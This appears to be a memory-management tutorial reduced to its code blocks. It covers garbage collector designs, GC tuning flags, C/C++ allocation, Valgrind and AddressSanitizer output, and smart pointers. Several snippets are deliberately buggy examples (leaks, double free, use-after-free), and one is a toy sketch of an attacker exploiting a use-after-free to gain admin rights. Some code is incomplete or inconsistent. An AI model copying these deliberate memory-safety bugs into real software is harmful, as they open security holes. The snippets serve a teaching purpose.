void gc_init(struct GC* gc) {
    for (struct Object* obj = gc->all_objects; obj; obj = obj->next) {
        obj->color = WHITE;
    }
    gc->gray_list = NULL;
}

// Add object to gray list
void gc_mark_gray(struct GC* gc, struct Object* obj) {
    if (obj->color == WHITE) {
        obj->color = GRAY;
        obj->next_gray = gc->gray_list;
        gc->gray_list = obj;
    }
}

// Process one gray object (incremental step)
void gc_process_one_gray(struct GC* gc) {
    if (!gc->gray_list) {
        return;  // No work to do
    }

    // Remove from gray list
    struct Object* obj = gc->gray_list;
    gc->gray_list = obj->next_gray;

    // Mark black
    obj->color = BLACK;

    // Mark children gray
    for (size_t i = 0; i < obj->num_refs; i++) {
        gc_mark_gray(gc, obj->refs[i]);
    }
}

// Full collection
void gc_collect(struct GC* gc) {
    // Initialize
    gc_init(gc);

    // Mark roots gray
    for (size_t i = 0; i < gc->num_roots; i++) {
        gc_mark_gray(gc, gc->roots[i]);
    }

    // Process all gray objects
    while (gc->gray_list) {
        gc_process_one_gray(gc);
    }

    // Sweep: free all WHITE objects
    struct Object** obj_ptr = &gc->all_objects;
    while (*obj_ptr) {
        if ((*obj_ptr)->color == WHITE) {
            struct Object* garbage = *obj_ptr;
            *obj_ptr = garbage->next;
            free(garbage);
        } else {
            obj_ptr = &(*obj_ptr)->next;
        }
    }
}

// Incremental collection (process N objects)
void gc_incremental_collect(struct GC* gc, int steps) {
    for (int i = 0; i < steps && gc->gray_list; i++) {
        gc_process_one_gray(gc);
    }
}

void* gc_alloc(struct GC* gc, size_t size) {
    // Do a little GC work on each allocation
    if (gc->gc_in_progress) {
        gc_incremental_collect(gc, 10);  // Process 10 objects
    }

    void* ptr = allocate(size);

    if (!ptr) {
        // Start new GC cycle
        gc_start_collection(gc);
        ptr = allocate(size);
    }

    return ptr;
}

Scenario:
1. A is BLACK (fully scanned)
2. B is WHITE (not yet visited)
3. C is GRAY (in progress)

Program executes: A.field = B

Problem: B might never be marked!
- A is BLACK (won't be rescanned)
- B is WHITE (not in gray list)
- After marking completes, B is still WHITE → incorrectly collected!

void object_set_field(struct Object* obj, size_t field, struct Object* value) {
    obj->refs[field] = value;

    // Write barrier
    if (obj->color == BLACK && value->color == WHITE) {
        // Re-mark object as GRAY
        gc_mark_gray(&gc, obj);
        // Or mark value GRAY:
        // gc_mark_gray(&gc, value);
    }
}

┌─────────────────────────────────────────────────────┐
│                 Young Generation                     │
│  (Eden)  │  (Survivor 0)  │  (Survivor 1)           │
│  [new objects] [survived 1 GC] [survived 2+ GCs]    │
└─────────────────────────────────────────────────────┘
                    ↓ (promotion)
┌─────────────────────────────────────────────────────┐
│                 Old Generation                       │
│  [long-lived objects]                               │
└─────────────────────────────────────────────────────┘
                    ↓ (promotion)
┌─────────────────────────────────────────────────────┐
│            Permanent Generation (Java)               │
│  [class metadata, interned strings]                 │
└─────────────────────────────────────────────────────┘

1. Mark live objects in young generation
2. Copy live objects to survivor space
3. Clear eden space
4. Promote old survivors to old generation

1. Mark live objects in entire heap
2. Sweep/compact old generation
3. Much slower, but rare

#define YOUNG_GEN_SIZE (1024 * 1024)  // 1 MB
#define OLD_GEN_SIZE (10 * 1024 * 1024)  // 10 MB

struct Object {
    int generation;  // 0 = young, 1 = old
    int age;         // Survived GC count
    void* data;
    struct Object** refs;
    size_t num_refs;
};

struct GenerationalGC {
    struct Object* young_gen;
    struct Object* old_gen;
    size_t young_size;
    size_t old_size;
};

void minor_gc(struct GenerationalGC* gc) {
    // Mark live objects in young generation
    struct Object* survivors = NULL;

    for (struct Object* obj = gc->young_gen; obj; obj = obj->next) {
        if (is_reachable(obj)) {
            obj->age++;

            if (obj->age > 3) {
                // Promote to old generation
                promote_to_old(gc, obj);
            } else {
                // Keep in young generation
                obj->next = survivors;
                survivors = obj;
            }
        } else {
            // Free
            free_object(obj);
        }
    }

    gc->young_gen = survivors;
}

void major_gc(struct GenerationalGC* gc) {
    // Full heap collection (slow)
    mark_and_sweep(gc->young_gen);
    mark_and_sweep(gc->old_gen);
}

void* gc_alloc(struct GenerationalGC* gc, size_t size) {
    // Try allocating in young generation
    void* ptr = allocate_in_young(gc, size);

    if (!ptr) {
        // Young generation full - minor GC
        minor_gc(gc);
        ptr = allocate_in_young(gc, size);
    }

    if (!ptr) {
        // Still no space - major GC
        major_gc(gc);
        ptr = allocate_in_young(gc, size);
    }

    return ptr;
}

Old Generation divided into "cards" (e.g., 512-byte regions)

Card Table: [0][0][1][0][1][0][0][0]...
             ↑           ↑
        No refs    Has refs to young gen

When old object updated:
1. Mark corresponding card as "dirty"
2. During minor GC, only scan dirty cards

#define CARD_SIZE 512
#define NUM_CARDS (OLD_GEN_SIZE / CARD_SIZE)

struct GenerationalGC {
    // ...
    unsigned char card_table[NUM_CARDS];  // 0 = clean, 1 = dirty
};

void write_barrier(void* old_obj, struct Object* value) {
    if (value->generation == 0) {  // Young object
        // Mark card dirty
        size_t card_index = ((char*)old_obj - old_gen_start) / CARD_SIZE;
        gc.card_table[card_index] = 1;
    }
}

void minor_gc_with_card_table(struct GenerationalGC* gc) {
    // Scan stack roots
    mark_from_roots();

    // Scan dirty cards in old generation
    for (size_t i = 0; i < NUM_CARDS; i++) {
        if (gc->card_table[i]) {
            void* card_start = old_gen_start + i * CARD_SIZE;
            scan_card_for_young_refs(card_start);
            gc->card_table[i] = 0;  // Clear dirty bit
        }
    }

    // Collect young generation
    collect_young_gen();
}

Minor GC: 2-5 ms pause, every 1-10 seconds
Major GC: 100-500 ms pause, every 10-60 minutes

Throughput = Application Time / (Application Time + GC Time)

Example:
- Application runs 90 seconds
- GC runs 10 seconds
- Throughput = 90 / 100 = 90%

Max pause time: Longest single GC pause
Average pause time: Mean of all GC pauses
99th percentile: 99% of pauses below this time

Heap size
Live set size (reachable objects)
Memory overhead (GC metadata)

# Initial and maximum heap size
java -Xms2g -Xmx4g MyApp

# Young generation size
java -Xmn1g MyApp

# Or ratio of young/old
java -XX:NewRatio=2 MyApp  # Old = 2 * Young

# Serial GC (single-threaded, low overhead)
java -XX:+UseSerialGC MyApp

# Parallel GC (multi-threaded, high throughput)
java -XX:+UseParallelGC MyApp

# CMS (Concurrent Mark Sweep, low latency)
java -XX:+UseConcMarkSweepGC MyApp

# G1 GC (Garbage First, balanced)
java -XX:+UseG1GC MyApp

# ZGC (ultra-low latency, JDK 11+)
java -XX:+UseZGC MyApp

# Shenandoah (low latency, JDK 12+)
java -XX:+UseShenandoahGC MyApp

# Enable GC logging (JDK 8)
java -XX:+PrintGCDetails -XX:+PrintGCDateStamps -Xloggc:gc.log MyApp

# Enable GC logging (JDK 9+)
java -Xlog:gc*:file=gc.log:time,uptime,level,tags MyApp

[GC (Allocation Failure) 2021-01-01T10:00:00.123+0000: 1.234:
  [ParNew: 614400K->68068K(614400K), 0.0924544 secs]
  614400K->68068K(2063104K), 0.0925372 secs]
  [Times: user=0.15 sys=0.01, real=0.09 secs]

Interpretation:
- Type: Minor GC (ParNew)
- Reason: Allocation Failure (young gen full)
- Young gen: 614400K → 68068K (89% freed!)
- Total heap: 614400K → 68068K
- Pause time: 92.5 ms
- CPU time: user=150ms, sys=10ms, real=90ms (parallelism ~1.7x)

import gc

# Get current thresholds
print(gc.get_threshold())  # (700, 10, 10)

# Set new thresholds (threshold0, threshold1, threshold2)
gc.set_threshold(1000, 15, 15)

# threshold0: # of allocations before gen0 collection
# threshold1: # of gen0 collections before gen1 collection
# threshold2: # of gen1 collections before gen2 collection

# Disable automatic GC
gc.disable()

# Do work...

# Manually trigger collection
gc.collect()

# Re-enable automatic GC
gc.enable()

import gc

def batch_process(items):
    gc.disable()  # Disable during processing

    for item in items:
        process(item)

    gc.collect()  # Collect once at end
    gc.enable()

# Default: GOGC=100 (run GC when heap doubles)
# GOGC=200 (run GC when heap triples)
# GOGC=50 (run GC when heap grows 50%)
# GOGC=off (disable GC)

GOGC=200 ./myapp  # Less frequent GC, more memory

# New in Go 1.19: set memory limit
GOMEMLIMIT=2GiB ./myapp

import "runtime"

func cleanup() {
    runtime.GC()  // Force garbage collection
}

# Print GC trace
GODEBUG=gctrace=1 ./myapp

# Example output:
# gc 1 @0.002s 5%: 0.015+0.85+0.003 ms clock, 0.12+0.12/0.70/0.015+0.025 ms cpu, 4->4->0 MB, 5 MB goal, 8 P
#
# Interpretation:
# - GC #1
# - At 0.002 seconds
# - 5% CPU time in GC
# - Heap: 4 MB → 4 MB → 0 MB (before GC, after mark, after sweep)
# - Goal: 5 MB (next GC trigger)
# - 8 P (processors)

- Profile application
- Identify GC overhead
- Measure pause times
- Check memory usage

Throughput-oriented:
- Maximize application CPU time
- Accept longer pause times
- Use Parallel GC (Java) or larger heap

Latency-oriented:
- Minimize pause times
- Accept lower throughput
- Use CMS/G1/ZGC (Java) or smaller heap

- Change one parameter at a time
- Measure impact
- Iterate

# Java
java -Xms8g -Xmx8g -XX:+UseParallelGC -XX:ParallelGCThreads=8 MyApp

# Large heap, parallel collection

# Java
java -Xmx4g -XX:+UseZGC -XX:MaxGCPauseMillis=10 MyApp

# ZGC for sub-10ms pauses

# Python: disable GC during batch, collect after
gc.disable()
process_large_dataset()
gc.collect()
gc.enable()

Application threads:  ████░░░░░░░░████████
GC thread:            ░░░░████████░░░░░░░░
                          ↑
                      STW pause

Application threads:  ████████████████████
GC thread:            ░░░░████████████░░░░
                          ↑
                      Running concurrently

Application threads:  ██░█░█░█░█░█░█░█░███
GC thread:            ░░█░█░█░█░█░█░█░█░░░
                        ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑
                      Short pauses

# GC log shows pause times
java -Xlog:gc:file=gc.log MyApp

# Analyze with GCViewer or similar tool

P50 (median): 10 ms
P90: 50 ms
P99: 200 ms
P99.9: 500 ms
Max: 2000 ms

java -XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode MyApp

1. Initial Mark (STW, short): Mark roots
2. Concurrent Mark: Mark reachable objects
3. Remark (STW, short): Catch changes during concurrent mark
4. Concurrent Sweep: Free garbage

STW pauses are short (10-100 ms)

java -XX:+UseG1GC -XX:MaxGCPauseMillis=100 MyApp

java -XX:+UseZGC MyApp

# Smaller heap = shorter GC pauses
# But more frequent GC

# Before: 8 GB heap, 500 ms pauses
java -Xmx8g MyApp

# After: 2 GB heap, 100 ms pauses (but 4x more frequent)
java -Xmx2g MyApp

# Larger young gen = less frequent minor GCs
java -Xmn2g MyApp

# But each minor GC takes longer

# More threads = shorter pause (if CPU available)
java -XX:ParallelGCThreads=8 MyApp

# Balance: too many threads causes contention

// BAD: Finalizers slow down GC
class BadResource {
    @Override
    protected void finalize() {  // Don't use!
        cleanup();
    }
}

// GOOD: Explicit cleanup
class GoodResource implements AutoCloseable {
    @Override
    public void close() {
        cleanup();
    }
}

try (GoodResource r = new GoodResource()) {
    // Use resource
}  // Automatically cleaned up

// Reuse objects instead of allocating new ones
class ObjectPool<T> {
    private Queue<T> pool = new ConcurrentLinkedQueue<>();

    public T acquire() {
        T obj = pool.poll();
        return obj != null ? obj : createNew();
    }

    public void release(T obj) {
        reset(obj);
        pool.offer(obj);
    }
}

// Reduces allocation rate → less GC pressure

Application: Latency-sensitive web service
Heap: 4 GB
GC: Parallel GC
Pause times: P99 = 800 ms (too high!)
Throughput: 95%

# Switch to G1 with pause time goal
java -Xms4g -Xmx4g \
     -XX:+UseG1GC \
     -XX:MaxGCPauseMillis=50 \
     -XX:G1HeapRegionSize=16m \
     MyApp

Pause times: P99 = 45 ms (improved!)
Throughput: 92% (slight decrease, acceptable)

#include <stdlib.h>

// Allocate memory
int* ptr = malloc(sizeof(int) * 10);
if (ptr == NULL) {
    // Handle allocation failure
    fprintf(stderr, "Out of memory\n");
    return -1;
}

// Use memory
for (int i = 0; i < 10; i++) {
    ptr[i] = i * i;
}

// Free memory
free(ptr);
ptr = NULL;  // Best practice: nullify after free

char* create_greeting(const char* name) {
    size_t len = strlen(name) + strlen("Hello, ") + 2;  // +2 for "!\0"
    char* greeting = malloc(len);
    if (!greeting) return NULL;

    sprintf(greeting, "Hello, %s!", name);
    return greeting;  // Caller must free!
}

// Usage
char* msg = create_greeting("Alice");
if (msg) {
    printf("%s\n", msg);
    free(msg);
}

struct DynArray {
    int* data;
    size_t size;
    size_t capacity;
};

void array_init(struct DynArray* arr) {
    arr->data = NULL;
    arr->size = 0;
    arr->capacity = 0;
}

int array_push(struct DynArray* arr, int value) {
    if (arr->size >= arr->capacity) {
        size_t new_cap = arr->capacity ? arr->capacity * 2 : 4;
        int* new_data = realloc(arr->data, new_cap * sizeof(int));
        if (!new_data) return -1;  // Allocation failed

        arr->data = new_data;
        arr->capacity = new_cap;
    }

    arr->data[arr->size++] = value;
    return 0;
}

void array_destroy(struct DynArray* arr) {
    free(arr->data);
    arr->data = NULL;
    arr->size = arr->capacity = 0;
}

struct Person {
    char* name;
    char* email;
    int age;
};

struct Person* person_create(const char* name, const char* email, int age) {
    struct Person* p = malloc(sizeof(struct Person));
    if (!p) return NULL;

    p->name = strdup(name);    // strdup = malloc + strcpy
    p->email = strdup(email);

    if (!p->name || !p->email) {
        free(p->name);
        free(p->email);
        free(p);
        return NULL;
    }

    p->age = age;
    return p;
}

void person_destroy(struct Person* p) {
    if (p) {
        free(p->name);
        free(p->email);
        free(p);
    }
}

// malloc: uninitialized memory
int* a = malloc(10 * sizeof(int));
// a[0] has garbage value

// calloc: zero-initialized memory
int* b = calloc(10, sizeof(int));
// b[0] == 0

// realloc: resize existing allocation
a = realloc(a, 20 * sizeof(int));
// First 10 elements preserved, next 10 uninitialized

// Benchmark: malloc vs calloc
clock_t start;

start = clock();
for (int i = 0; i < 100000; i++) {
    int* p = malloc(1000 * sizeof(int));
    free(p);
}
printf("malloc: %f s\n", (double)(clock() - start) / CLOCKS_PER_SEC);

start = clock();
for (int i = 0; i < 100000; i++) {
    int* p = calloc(1000, sizeof(int));
    free(p);
}
printf("calloc: %f s\n", (double)(clock() - start) / CLOCKS_PER_SEC);

// calloc typically 2-3x slower due to zeroing

// BAD: Memory leak
void bad_function() {
    char* ptr = malloc(1000);
    // Forgot to free!
}  // ptr goes out of scope, memory leaked

// GOOD
void good_function() {
    char* ptr = malloc(1000);
    // Use ptr...
    free(ptr);
}

// BAD: Use after free
int* ptr = malloc(sizeof(int));
*ptr = 42;
free(ptr);
printf("%d\n", *ptr);  // Undefined behavior!

// GOOD
int* ptr = malloc(sizeof(int));
*ptr = 42;
printf("%d\n", *ptr);
free(ptr);
ptr = NULL;  // Nullify to catch errors

// BAD: Double free
int* ptr = malloc(sizeof(int));
free(ptr);
free(ptr);  // Undefined behavior!

// GOOD
int* ptr = malloc(sizeof(int));
free(ptr);
ptr = NULL;
// free(NULL) is safe (no-op)

// BAD: Wrong size
int* arr = malloc(10);  // Only 10 bytes, not 10 ints!

// GOOD
int* arr = malloc(10 * sizeof(int));
// Or
int* arr = malloc(sizeof(int[10]));

// BAD: No error checking
int* ptr = malloc(1000000000);
*ptr = 42;  // Crash if malloc failed!

// GOOD
int* ptr = malloc(1000000000);
if (!ptr) {
    fprintf(stderr, "Allocation failed\n");
    return -1;
}
*ptr = 42;

// Single object
int* ptr = new int(42);
delete ptr;

// Array
int* arr = new int[10];
delete[] arr;  // Note: delete[], not delete!

// With constructor
class Person {
public:
    Person(std::string name) : name(name) {}
    ~Person() { std::cout << "Destroying " << name << "\n"; }
private:
    std::string name;
};

Person* p = new Person("Alice");
delete p;  // Calls destructor automatically

// new: type-safe, calls constructor
std::string* s1 = new std::string("Hello");

// malloc: type-unsafe, no constructor
std::string* s2 = (std::string*)malloc(sizeof(std::string));
// BUG: s2 not initialized! (no constructor called)

#include <new>

// Allocate raw memory
void* buffer = malloc(sizeof(std::string));

// Construct object in that memory
std::string* s = new (buffer) std::string("Hello");

// Use object
std::cout << *s << "\n";

// Manually call destructor
s->~string();

// Free memory
free(buffer);

class ObjectPool {
    char buffer[1000 * sizeof(MyClass)];

public:
    MyClass* allocate() {
        void* ptr = get_free_slot();
        return new (ptr) MyClass();  // Placement new
    }

    void deallocate(MyClass* obj) {
        obj->~MyClass();  // Manual destructor call
        mark_slot_free(obj);
    }
};

// Allocate array
int* arr = new int[10];

// MUST use delete[]
delete[] arr;  // Correct

// BAD: Using delete instead of delete[]
delete arr;  // Undefined behavior! Memory corruption!

class MyClass {
public:
    MyClass() { std::cout << "Constructor\n"; }
    ~MyClass() { std::cout << "Destructor\n"; }
};

MyClass* arr = new MyClass[3];
// Calls constructor 3 times

delete[] arr;
// Calls destructor 3 times

delete arr;
// Only calls destructor once! Other 2 objects not destroyed!

// Default: throws std::bad_alloc on failure
try {
    int* ptr = new int[1000000000000];  // Huge allocation
} catch (std::bad_alloc& e) {
    std::cerr << "Allocation failed: " << e.what() << "\n";
}

// nothrow: returns nullptr on failure (like malloc)
int* ptr = new (std::nothrow) int[1000000000000];
if (!ptr) {
    std::cerr << "Allocation failed\n";
}

class MyClass {
public:
    // Custom new operator
    void* operator new(size_t size) {
        std::cout << "Custom new: " << size << " bytes\n";
        void* ptr = ::operator new(size);  // Call global new
        return ptr;
    }

    // Custom delete operator
    void operator delete(void* ptr) {
        std::cout << "Custom delete\n";
        ::operator delete(ptr);  // Call global delete
    }
};

MyClass* obj = new MyClass();  // Calls MyClass::operator new
delete obj;                     // Calls MyClass::operator delete

class Tracked {
    static size_t allocation_count;

public:
    void* operator new(size_t size) {
        allocation_count++;
        return ::operator new(size);
    }

    void operator delete(void* ptr) {
        allocation_count--;
        ::operator delete(ptr);
    }

    static size_t get_allocation_count() {
        return allocation_count;
    }
};

size_t Tracked::allocation_count = 0;

sudo apt-get install valgrind

# Compile with debug symbols
gcc -g -o myapp myapp.c

# Run with Valgrind
valgrind --leak-check=full ./myapp

==12345== HEAP SUMMARY:
==12345==     in use at exit: 1,000 bytes in 1 blocks
==12345==   total heap usage: 2 allocs, 1 frees, 2,000 bytes allocated
==12345==
==12345== 1,000 bytes in 1 blocks are definitely lost in loss record 1 of 1
==12345==    at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==12345==    by 0x40057E: main (myapp.c:10)
==12345==
==12345== LEAK SUMMARY:
==12345==    definitely lost: 1,000 bytes in 1 blocks
==12345==    indirectly lost: 0 bytes in 0 blocks
==12345==      possibly lost: 0 bytes in 0 blocks
==12345==    still reachable: 0 bytes in 0 blocks
==12345==         suppressed: 0 bytes in 0 blocks

# Track all allocations (slow but thorough)
valgrind --leak-check=full --show-leak-kinds=all ./myapp

# Generate suppression file for false positives
valgrind --gen-suppressions=all ./myapp 2>supp.txt

# Use suppression file
valgrind --suppressions=supp.txt ./myapp

# GCC/Clang
gcc -fsanitize=address -g -o myapp myapp.c

# Run normally (no special tool needed)
./myapp

=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x60300000eff0
READ of size 4 at 0x60300000eff0 thread T0
    #0 0x400b42 in main myapp.c:15
    #1 0x7f8b7c8c3b96 in __libc_start_main
    #2 0x400a09 in _start

0x60300000eff0 is located 0 bytes inside of 4-byte region [0x60300000eff0,0x60300000eff4)
freed by thread T0 here:
    #0 0x7f8b7cc63537 in __interceptor_free
    #1 0x400b2d in main myapp.c:14

# Enable leak detection (included with ASan)
gcc -fsanitize=address -g -o myapp myapp.c

# Or use LeakSanitizer standalone
gcc -fsanitize=leak -g -o myapp myapp.c

./myapp

// In code
const char* __lsan_default_suppressions() {
    return "leak:some_function\n";
}

// Or via environment variable
LSAN_OPTIONS=suppressions=supp.txt ./myapp

#ifdef DEBUG_MEMORY
static size_t alloc_count = 0;
static size_t free_count = 0;

void* debug_malloc(size_t size, const char* file, int line) {
    void* ptr = malloc(size);
    if (ptr) {
        alloc_count++;
        printf("[ALLOC] %p (%zu bytes) at %s:%d\n", ptr, size, file, line);
    }
    return ptr;
}

void debug_free(void* ptr, const char* file, int line) {
    if (ptr) {
        free_count++;
        printf("[FREE] %p at %s:%d\n", ptr, file, line);
    }
    free(ptr);
}

#define malloc(size) debug_malloc(size, __FILE__, __LINE__)
#define free(ptr) debug_free(ptr, __FILE__, __LINE__)

void print_leak_summary() {
    printf("Allocations: %zu\n", alloc_count);
    printf("Frees: %zu\n", free_count);
    printf("Leaks: %zu\n", alloc_count - free_count);
}
#endif

#define MAX_ALLOCATIONS 10000

struct Allocation {
    void* ptr;
    size_t size;
    const char* file;
    int line;
};

static struct Allocation allocations[MAX_ALLOCATIONS];
static size_t num_allocations = 0;

void track_allocation(void* ptr, size_t size, const char* file, int line) {
    if (num_allocations < MAX_ALLOCATIONS) {
        allocations[num_allocations++] = (struct Allocation){
            .ptr = ptr,
            .size = size,
            .file = file,
            .line = line
        };
    }
}

void untrack_allocation(void* ptr) {
    for (size_t i = 0; i < num_allocations; i++) {
        if (allocations[i].ptr == ptr) {
            allocations[i] = allocations[--num_allocations];
            return;
        }
    }
    fprintf(stderr, "ERROR: Free of untracked pointer %p\n", ptr);
}

void print_leaks() {
    printf("=== Memory Leaks ===\n");
    for (size_t i = 0; i < num_allocations; i++) {
        printf("Leak: %zu bytes at %s:%d\n",
               allocations[i].size,
               allocations[i].file,
               allocations[i].line);
    }
}

int* ptr = malloc(sizeof(int));
*ptr = 42;
free(ptr);

// Use-after-free!
printf("%d\n", *ptr);  // Undefined behavior
*ptr = 100;            // Undefined behavior (likely crash)

int* ptr1 = malloc(sizeof(int));
*ptr1 = 42;
free(ptr1);

// Another allocation reuses the same memory
char* ptr2 = malloc(sizeof(char) * 100);
strcpy(ptr2, "Hello");

// Use-after-free: corrupts ptr2!
*ptr1 = 100;

printf("%s\n", ptr2);  // Might print garbage

struct User {
    char name[32];
    int is_admin;
};

struct User* user = malloc(sizeof(struct User));
strcpy(user->name, "Alice");
user->is_admin = 0;
free(user);

// Attacker allocates at same address
char* exploit = malloc(sizeof(struct User));
memset(exploit, 1, sizeof(struct User));  // Set is_admin = 1

// Use-after-free: treats exploit as user
if (user->is_admin) {
    printf("Admin access granted!\n");  // Security breach!
}

#include <stdlib.h>

int main() {
    int* ptr = malloc(sizeof(int));
    *ptr = 42;
    free(ptr);

    *ptr = 100;  // Use-after-free

    return 0;
}

$ gcc -fsanitize=address -g -o test test.c
$ ./test

=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x60300000eff0
WRITE of size 4 at 0x60300000eff0 thread T0
    #0 0x400b95 in main test.c:8

0x60300000eff0 is located 0 bytes inside of 4-byte region
freed by thread T0 here:
    #0 0x7f0b7cc63537 in __interceptor_free
    #1 0x400b80 in main test.c:7

int* ptr = malloc(sizeof(int));
// Use ptr...
free(ptr);
ptr = NULL;  // Further access will crash (better than corruption)

if (ptr) {
    *ptr = 100;  // Won't execute
}

#define SAFE_FREE(ptr) do { free(ptr); (ptr) = NULL; } while(0)

int* ptr = malloc(sizeof(int));
SAFE_FREE(ptr);  // Frees and nullifies

*ptr = 100;  // Crash (detectable) instead of corruption

{
    std::unique_ptr<int> ptr = std::make_unique<int>(42);
    // Use ptr...
}  // Automatically freed, ptr no longer accessible

enum State { VALID, FREED };

struct TrackedPointer {
    void* ptr;
    enum State state;
};

struct TrackedPointer* create_tracked(size_t size) {
    struct TrackedPointer* tp = malloc(sizeof(struct TrackedPointer));
    tp->ptr = malloc(size);
    tp->state = VALID;
    return tp;
}

void* get_ptr(struct TrackedPointer* tp) {
    assert(tp->state == VALID && "Use-after-free detected!");
    return tp->ptr;
}

void free_tracked(struct TrackedPointer* tp) {
    assert(tp->state == VALID && "Double-free detected!");
    free(tp->ptr);
    tp->state = FREED;
}

int* ptr = malloc(sizeof(int));
free(ptr);
free(ptr);  // Double-free! Undefined behavior

int* a = malloc(100);
int* b = malloc(100);
free(a);
free(a);  // Double-free corrupts heap metadata

int* c = malloc(100);  // May crash or return invalid pointer

int main() {
    int* ptr = malloc(sizeof(int));
    free(ptr);
    free(ptr);  // Double-free
    return 0;
}

$ gcc -fsanitize=address -g -o test test.c
$ ./test

=================================================================
==12345==ERROR: AddressSanitizer: attempting double-free on 0x60300000eff0
    #0 0x7f0b7cc63537 in __interceptor_free
    #1 0x400b95 in main test.c:5

$ valgrind ./test

==12345== Invalid free() / delete / delete[] / realloc()
==12345==    at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==12345==    by 0x40057E: main (test.c:5)
==12345==  Address 0x5203040 is 0 bytes inside a block of size 4 free'd

int* ptr = malloc(sizeof(int));
free(ptr);
ptr = NULL;

free(ptr);  // Safe: free(NULL) is a no-op

#define SAFE_FREE(ptr) do { \
    free(ptr); \
    (ptr) = NULL; \
} while(0)

int* ptr = malloc(sizeof(int));
SAFE_FREE(ptr);
SAFE_FREE(ptr);  // Safe (second call frees NULL)

struct Resource {
    void* data;
    int owned;  // 1 if we own it, 0 if transferred
};

void resource_free(struct Resource* r) {
    if (r->owned) {
        free(r->data);
        r->owned = 0;
    }
}

// Transfer ownership
void resource_transfer(struct Resource* from, struct Resource* to) {
    to->data = from->data;
    to->owned = 1;
    from->owned = 0;  // No longer owns it
}

{
    std::unique_ptr<int> ptr = std::make_unique<int>(42);
    // Impossible to double-free with unique_ptr
}  // Automatically freed once

#include <memory>

// Create unique_ptr
std::unique_ptr<int> ptr1(new int(42));
// Or (preferred):
std::unique_ptr<int> ptr2 = std::make_unique<int>(42);

// Access
*ptr2 = 100;
std::cout << *ptr2 << "\n";  // 100

// Automatic cleanup when ptr2 goes out of scope

// Array unique_ptr
std::unique_ptr<int[]> arr = std::make_unique<int[]>(10);

// Access elements
arr[0] = 1;
arr[1] = 2;

// Automatically deletes with delete[], not delete

// unique_ptr cannot be copied (deleted copy constructor)
std::unique_ptr<int> ptr1 = std::make_unique<int>(42);
// std::unique_ptr<int> ptr2 = ptr1;  // ERROR: cannot copy

// But can be moved (transfers ownership)
std::unique_ptr<int> ptr2 = std::move(ptr1);
// Now ptr1 is nullptr, ptr2 owns the resource

std::unique_ptr<MyClass> create_object() {
    std::unique_ptr<MyClass> ptr = std::make_unique<MyClass>();
    // ...
    return ptr;  // Move semantics (no copy)
}

// Caller receives ownership
std::unique_ptr<MyClass> obj = create_object();

// Custom deleter for FILE*
auto file_deleter = [](FILE* f) {
    if (f) fclose(f);
};

std::unique_ptr<FILE, decltype(file_deleter)> file(
    fopen("test.txt", "r"),
    file_deleter
);

// file automatically closed when unique_ptr destroyed

// Or with function pointer
void close_file(FILE* f) {
    if (f) fclose(f);
}

std::unique_ptr<FILE, void(*)(FILE*)> file2(
    fopen("test.txt", "r"),
    close_file
);

std::unique_ptr<int> ptr = std::make_unique<int>(42);

// Release ownership (returns raw pointer, unique_ptr becomes null)
int* raw = ptr.release();

// Now we're responsible for deletion
delete raw;

std::unique_ptr<int> ptr = std::make_unique<int>(42);

// Delete current and manage new object
ptr.reset(new int(100));

// Or delete current and become null
ptr.reset();
// ptr is now nullptr

// 1. Function-local resources
void process_file(const std::string& filename) {
    std::unique_ptr<File> file = open_file(filename);
    // Process file...
    // Automatic cleanup even if exception thrown
}

// 2. Class members (exclusive ownership)
class Widget {
    std::unique_ptr<Impl> pImpl;  // Pimpl idiom
public:
    Widget() : pImpl(std::make_unique<Impl>()) {}
    // Compiler-generated destructor automatically deletes pImpl
};

// 3. Factory functions
std::unique_ptr<Shape> create_shape(ShapeType type) {
    switch (type) {
        case CIRCLE: return std::make_unique<Circle>();
        case SQUARE: return std::make_unique<Square>();
    }
}

std::shared_ptr<int> ptr1 = std::make_shared<int>(42);
std::cout << "Count: " << ptr1.use_count() << "\n";  // 1

{
    std::shared_ptr<int> ptr2 = ptr1;  // Copying allowed
    std::cout << "Count: " << ptr1.use_count() << "\n";  // 2
    *ptr2 = 100;
}  // ptr2 destroyed, count decrements

std::cout << "Count: " << ptr1.use_count() << "\n";  // 1
std::cout << "*ptr1: " << *ptr1 << "\n";  // 100

// When last shared_ptr destroyed, resource deleted

std::shared_ptr<int> ptr1 = std::make_shared<int>(42);  // ref_count = 1

std::shared_ptr<int> ptr2 = ptr1;                        // ref_count = 2
std::shared_ptr<int> ptr3 = ptr2;                        // ref_count = 3

ptr1.reset();                                            // ref_count = 2
ptr2 = nullptr;                                          // ref_count = 1
// Resource still alive (ptr3 still owns it)

ptr3.reset();                                            // ref_count = 0, deleted!

// Preferred: make_shared (one allocation)
std::shared_ptr<MyClass> ptr1 = std::make_shared<MyClass>(args);
// Allocates: [control block][MyClass object] in one block

// Not preferred: constructor (two allocations)
std::shared_ptr<MyClass> ptr2(new MyClass(args));
// Allocates: [MyClass object] and separately [control block]

struct Node {
    std::shared_ptr<Node> next;
    ~Node() { std::cout << "Destructor called\n"; }
};

{
    std::shared_ptr<Node> node1 = std::make_shared<Node>();
    std::shared_ptr<Node> node2 = std::make_shared<Node>();

    node1->next = node2;  // node2 ref_count = 2
    node2->next = node1;  // node1 ref_count = 2
}
// Both go out of scope, but ref_count still > 0!
// MEMORY LEAK! Destructors never called!

// Reference count is thread-safe
std::shared_ptr<int> global_ptr = std::make_shared<int>(42);

void thread1() {
    std::shared_ptr<int> local = global_ptr;  // Thread-safe increment
}

void thread2() {
    std::shared_ptr<int> local = global_ptr;  // Thread-safe increment
}

// But the pointed-to object is NOT automatically thread-safe
void thread3() {
    *global_ptr = 100;  // Data race if thread4 runs concurrently!
}

void thread4() {
    *global_ptr = 200;  // Data race!
}

std::shared_ptr<FILE> file(
    fopen("test.txt", "r"),
    [](FILE* f) { if (f) fclose(f); }
);

// Or with std::function
std::shared_ptr<Connection> conn(
    connect_to_server(),
    [](Connection* c) { disconnect(c); }
);

struct Foo {
    int x;
    int y;
};

std::shared_ptr<Foo> foo = std::make_shared<Foo>();

// Aliasing: share ownership of foo, but point to foo->x
std::shared_ptr<int> x_ptr(foo, &foo->x);

// x_ptr.use_count() == 2
